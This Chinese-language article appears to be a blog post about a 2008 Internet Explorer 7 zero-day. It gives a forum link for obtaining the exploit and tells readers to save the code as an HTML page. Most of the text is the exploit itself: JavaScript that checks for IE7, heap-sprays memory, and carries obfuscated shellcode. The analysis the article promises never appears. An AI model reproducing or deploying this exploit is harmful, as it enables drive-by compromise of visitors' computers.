這幾天國內(nèi)幾乎所有的媒體都用大幅的版面報道了IE7.0的最新漏洞，由于微軟遲遲沒有推出安全補(bǔ)丁，并且該漏洞能影響到所有使用IE控件的程序，包括各主要瀏覽器、郵件客戶端、辦公軟件、Rss訂閱器以及可嵌入網(wǎng)頁的所有第三方軟件，影響范圍極其廣泛！筆者做了一個試驗，在Google瀏覽器中中搜索一下“ie7.0 0day”出來2700多條記錄，各大殺毒廠商紛紛推出漏洞修復(fù)工具以及預(yù)防方法，感覺比MS08067漏洞還熱鬧，算是歲末安全界的一件大事。

12月9 日，國內(nèi)一些安全界知名人士的blog紛紛貼出了漏洞代碼，不少無賴網(wǎng)站都紛紛掛上了惡意代碼已獲取利益。筆者的幾個朋友未能幸免，點擊惡意網(wǎng)站后導(dǎo)致機(jī)器藍(lán)屏無法加載系統(tǒng)，只得郁悶的重裝。為了了解惡意代碼的危害，提高大家的安全意識，筆者在這里對該惡意代碼進(jìn)行一個簡單的分析，希望能對大家有所幫助，避免不必要的損失。

獲取IE7.0 最新漏洞代碼

1.獲取IE7.0 0day代碼

獲取代碼的一個最好的方式就是通過Google等搜索工具搜索，推薦在本地在虛擬機(jī)中使用VPN代理到Google英文版中搜索，相對而言國外會早于國內(nèi)公布0day代碼。關(guān)于該漏洞代碼，現(xiàn)在很多安全和黑客網(wǎng)站都已經(jīng)貼出了代碼，如果沒有該代碼的可以到http://www.antian365.com/bbs/viewthread.php?tid=2813&extra=page%3D1(呵呵，順便幫團(tuán)隊做下廣告)將以下代碼保存為將該代碼保存為IE7_0day.htm，即IE7.0 0Day。

<script language="javascript">
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)location.replace("about:blank");
function sleep(milliseconds)
{
var start=new Date().getTime();
for(var i=0;i<1e7;i++)
{if((new Date().getTime()-start)>milliseconds)
{break}
}
}
function spray(sc)
{
var infect=unescape(sc.replace(/dadong/g,"\x25\x75"));
var heapBlockSize=0x100000;
var payLoadSize=infect.length*2;
var szlong=heapBlockSize-(payLoadSize+0x038);
var retVal=unescape("%u0a0a%u0a0a");
retVal=getSampleValue(retVal,szlong);
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;
zzchuck=new Array();
for(i=0;i<aaablk;i++){zzchuck[i]=retVal+infect}
}
function getSampleValue(retVal,szlong)
{
while(retVal.length*2<szlong)
{retVal+=retVal}
retVal=retVal.substring(0,szlong/2);
return retVal
}
var a1="dadong";
spray(a1+"9090"+a1+"dadong9090dadong9090dadongE1D9dadong34D9dadong5824dadong5858dadong3358dadongB3DBdadong031C
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dadong2360dadong2121dadongDE12dadongDE76dadongC9F1dadong20DAdadong2121dadongDE49dadong2121dadongDE21dadongC9F1
dadongDFC9dadongDEDEdadong7672dadong1277dadong71E1dadongC975dadong213Fdadong2121dadongC971dadong2374dadong2121
dadongF1DEdadongA117dadong051Ddadong5621dadongC92Bdadong232Adadong2121dadongDE12dadongDE76dadong79F1dadong7E7F
dadongE27Adadong23CAdadongE279dadongD8C9dadongDEDEdadong77DEdadongA276dadong29CDdadongDDAAdadong294Bdadong1F76
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dadong4921dadong5254dadong5344dadong34CAdadong65ACdadong2505dadongC971dadongDCF0dadongDEDEdadongC971dadong20D8
dadong2121dadongB0C8dadongDEDFdadongC9DEdadongDEC7dadongDEDEdadongE5A2dadongE229dadong4249dadong5657dadong4921
dadong4952dadong4E45dadong34CAdadong65ACdadong2505dadongC971dadongDC86dadongDEDEdadongC971dadong20EEdadong2121
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dadongCE49dadongC1EFdadong7141dadong6FC9dadong2120dadongA221dadong29E5dadongC9E2dadong203Edadong2121dadong9149
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dadongA221dadong29E5dadongC9E2dadongDFB3dadongDEDEdadong7649dadong9481dadong719AdadongF7C9dadong2121dadongA221
dadong29E5dadongC9E2dadongDF5FdadongDEDEdadong3B49dadong3F5Bdadong7123dadongE3C9dadong2121dadongA221dadong29E5
dadongC9E2dadongDF4BdadongDEDEdadongC149dadong117Adadong71B5dadong8FC9dadong2121dadongA221dadong29E5dadongC9E2
dadongDF77dadongDEDEdadongB649dadongC3E8dadong7182dadongBBC9dadong2121dadongA221dadong29E5dadongC9E2dadongDF63
dadongDEDEdadong4949dadongE405dadong7192dadongA7C9dadong2121dadongA221dadong29E5dadongC9E2dadong2176dadong2121
dadong5349dadong92DFdadong7137dadong53C9dadong2121dadongA221dadong29E5dadongC9E2dadongDF65dadongDEDEdadong32CA
dadong444BdadongC971dadongDAD6dadongDEDEdadongC971dadongDF8AdadongDEDEdadong96C8dadongDEDDdadongC9DE
dadongDEC9dadongDEDEdadongC9E2dadongDC88dadongDEDEdadong6E49dadong6ECEdadong7124dadong1FC9dadong2121
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dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121
dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121
dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121
dadong2121dadong2121dadong2121dadong2121dadong2121dadong2121dadong0021");
sleep(3000);
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